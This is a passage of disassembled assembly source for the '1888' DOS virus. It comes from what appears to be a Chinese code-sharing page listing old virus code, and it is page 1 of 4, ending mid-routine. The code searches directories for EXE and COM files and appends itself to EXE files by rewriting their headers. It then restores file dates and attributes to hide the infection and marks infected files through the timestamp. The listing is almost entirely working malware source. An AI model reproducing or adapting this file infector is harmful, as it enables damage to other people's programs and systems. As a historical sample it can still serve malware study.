1888.asm
来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 1,924 行 · 第 1/4 页
ASM
1,924 行
cmp data_019A,0
jne loc_0829 ; Jump if not equal
lea dx,data_015A ; ('C:\') Load effective addr
mov ah,3Bh ; ';'
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
mov data_019A,0FFh
jmp short loc_07AF
loc_0829:
cmp data_0182,0
je loc_083A ; Jump if equal
call sub_0328
dec data_0182
jmp loc_07AF
loc_083A:
lea dx,data_013A ; ('\DANGER\1888') Load effective addr
mov ah,3Bh ; ';'
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
call sub_04DE
jz loc_084A ; Jump if zero
call sub_04EE
loc_084A:
mov ax,word ptr data_012C+2
mov es,ax
mov cx,5Bh
mov si,offset data_070C
xor di,di ; Zero register
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
call sub_028C
call data_012C
int 20h ; DOS program terminate
db 0E9h, 64h, 06h, 20h,0A4h, 86h
db 0FCh, 18h, 02h, 00h, 00h, 00h
db 31h, 2Eh, 43h, 4Fh, 4Dh, 00h
db 20h, 20h, 4Dh, 00h, 00h, 00h
db 0A6h, 24h, 00h, 00h, 60h, 07h
db 00h, 00h, 60h, 07h, 60h, 07h
db 0FEh,0FFh, 6Ch, 0Dh, 6Ch, 0Dh
db 94h, 92h, 00h, 00h, 01h, 9Eh
db 0C8h, 07h, 07h, 1Ch, 02h, 10h
db 00h, 00h, 00h, 00h, 5Ch, 00h
db 4Fh, 53h, 53h, 49h, 00h, 45h
db 4Eh, 00h
db 53h, 54h
db 20 dup (0)
db 'C:\', 0
db '*', 0
db 'NETWARE', 0
db 'LMS', 0
db 'MAUS', 0
db 'MDB', 0
db 'DOS', 0
db 'BASE', 0
db 'L', 0
db '`'
db 01h, 00h, 01h, 14h, 17h, 6Eh
db 00h, 01h,0A9h, 00h, 01h,0BFh
db 38h, 2Ah, 2Eh, 65h, 78h, 65h
db 00h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
db 00h, 00h, 00h, 04h, 01h
db 3Fh
db 7 dup (3Fh)
db 43h, 4Fh, 4Dh, 23h, 0Ah, 00h
db 00h, 00h, 31h,0C0h, 50h, 9Ah
db 20h,0A4h, 86h,0FCh, 18h, 02h
db 00h, 00h, 00h, 31h, 2Eh, 43h
db 4Fh, 4Dh, 00h, 20h, 20h, 4Dh
db 00h, 00h, 00h,0A6h,0EAh,0AAh
db 03h, 00h,0CCh,0AAh, 03h, 00h
db 00h, 31h, 31h, 00h, 40h, 48h
db 07h, 00h, 40h, 6Ch, 15h, 6Ch
db 15h, 00h, 40h, 05h, 00h, 60h
db 07h, 00h, 01h,0C8h, 01h, 19h
db 01h, 82h, 08h, 6Ch, 0Dh, 6Ch
db 0Dh,0ADh, 04h, 6Ch, 0Dh, 46h
db 72h,0DEh, 07h
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0959 proc near
cmp data_011C,0
jne loc_0969 ; Jump if not equal
mov ax,760h
mov data_011C,ax
mov data_0120,ax
loc_0969:
mov al,data_011E
mov data_011F,al
mov ax,data_0120
mov data_0122,ax
inc data_0119
mov data_019C,0
mov data_019A,0
mov data_019B,0
retn
sub_0959 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0989 proc near
lea dx,data_0183 ; Load effective addr
xor al,al ; Zero register
mov ah,3Dh ; '='
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_ret_099B ; Jump if carry Set
mov bx,ax
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_ret_099B:
retn
sub_0989 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_099C proc near
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
mov ah,dh
cmp cx,data_0130
je loc_09AB ; Jump if equal
add ah,0Ch
loc_09AB:
sub ah,data_0132
mov data_011B,ah
mov data_0134,al
mov data_0133,dl
mov data_0132,dh
mov data_0130,cx
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dx=sec
mov data_0135,ch
retn
sub_099C endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_09CB proc near
mov ax,es
dec ax
push es
mov es,ax
mov ax,es:d_8B38_0003_e
mov data_012A,ax
pop es
mov bx,ax
sub bx,200h
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
mov bx,150h
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov word ptr data_012C+2,ax
retn
sub_09CB endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_09EE proc near
push es
mov ax,word ptr data_012C+2
mov es,ax
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov ax,data_0128
mov es,ax
mov bx,data_012A
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
pop es
retn
sub_09EE endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0A07 proc near
push ds
mov ah,1Bh
int 21h ; DOS Services ah=function 1Bh
; get disk info, default drive
; al=sectors per cluster
; ds:bx=ptr to media ID byte
; cx=sector size, dx=clusters
cmp byte ptr [bx],0F8h
pop ds
retn
sub_0A07 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0A11 proc near
lea si,data_019D ; Load effective addr
mov di,si
xor dl,dl ; Zero register
mov ah,47h ; 'G'
int 21h ; DOS Services ah=function 47h
; get present dir,drive dl,1=a:
; ds:si=ASCIIZ directory name
mov cx,30h
mov al,0
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
mov cx,di
sub cx,si
lea di,data_013A ; ('\DANGER\1888') Load effective addr
mov al,5Ch ; '\'
stosb ; Store al to es:[di]
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
retn
sub_0A11 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0A32 proc near
mov data_0182,0
lea bx,cs:[160h] ; Load effective addr
add bx,20h
mov data_0180,bx
sub bx,20h
lea dx,data_015A+4 ; ('*') Load effective addr
mov cx,33h
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jc loc_0A81 ; Jump if carry Set
loc_0A52:
lea di,data_019D ; Load effective addr
add di,1Eh
cmp byte ptr [di],2Eh ; '.'
je loc_0A7B ; Jump if equal
mov si,di
mov cx,20h
mov al,0
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
mov cx,di
sub cx,si
mov di,bx
add bx,cx
cmp bx,data_0180
ja loc_0A81 ; Jump if above
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
inc data_0182
loc_0A7B:
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_0A52 ; Jump if carry=0
loc_0A81:
lea bx,cs:[160h] ; Load effective addr
mov data_0180,bx
retn
sub_0A32 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0A8A proc near
cmp data_0182,0
je loc_ret_0AAE ; Jump if equal
lea dx,data_013A ; ('\DANGER\1888') Load effective addr
mov ah,3Bh ; ';'
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
mov dx,data_0180
mov di,dx
mov ah,3Bh ; ';'
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
mov al,0
mov cx,20h
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
mov data_0180,di
loc_ret_0AAE:
retn
sub_0A8A endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0AAF proc near
mov ax,data_0104
and al,1Fh
cmp al,1Eh
retn
sub_0AAF endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0AB7 proc near
lea dx,data_0194 ; Load effective addr
cmp data_011E,0
je loc_0AC6 ; Jump if equal
lea dx,data_018E ; Load effective addr
loc_0AC6:
mov cx,23h
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
retn
sub_0AB7 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0ACE proc near
lea si,data_019D ; Load effective addr
add si,15h
lea di,data_0103 ; Load effective addr
mov cx,16h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
retn
sub_0ACE endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0ADF proc near
pushf ; Push flags
mov cx,data_0104
or cl,1Fh
and cl,0FEh
mov dx,data_0106
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
lea dx,data_010C ; ('1888.COM') Load effective addr
xor ch,ch ; Zero register
mov cl,data_0103
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
popf ; Pop flags
retn
sub_0ADF endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0B08 proc near
lea dx,data_010C ; ('1888.COM') Load effective addr
xor cx,cx ; Zero register
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
jc loc_ret_0B1C ; Jump if carry Set
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
loc_ret_0B1C:
retn
sub_0B08 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0B1D proc near
push ds
mov ax,word ptr data_012C+2
mov ds,ax
mov cx,100h
xor dx,dx ; Zero register
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
cmp word ptr ds:d_9E01_0000_e,5A4Dh
nop ;*ASM fixup - sign extn byte
je loc_0B38 ; Jump if equal
stc ; Set carry flag
jmp loc_0BB7
loc_0B38:
call sub_0BB9
push ax
mov ax,di
and ax,0Fh
mov cx,10h
xor dx,dx ; Zero register
sub cx,ax
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
jnc loc_0B51 ; Jump if carry=0
jmp short loc_0BB7
db 90h
loc_0B51:
mov si,ax
mov cx,100h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
jc loc_0BB7 ; Jump if carry Set
pop dx
mov ax,di
add ax,si
add ax,100h
cmp ax,200h
jb loc_0B6D ; Jump if below
and ax,1FFh
inc dx
loc_0B6D:
mov cl,4
shr ax,cl ; Shift w/zeros fill
dec dx
mov cl,5
shl dx,cl ; Shift w/zeros fill
sub dx,ds:d_9E01_0008_e
add ax,dx
sub ax,10h
mov ds:d_9E01_0016_e,ax
mov word ptr ds:d_9E01_0014_e,100h
push ds
mov ax,cs
mov ds,ax
mov cx,data_011C
mov dx,100h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
pop ds
jc loc_0BB7 ; Jump if carry Set
call sub_0BB9
mov ds:d_9E01_0002_e,di
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?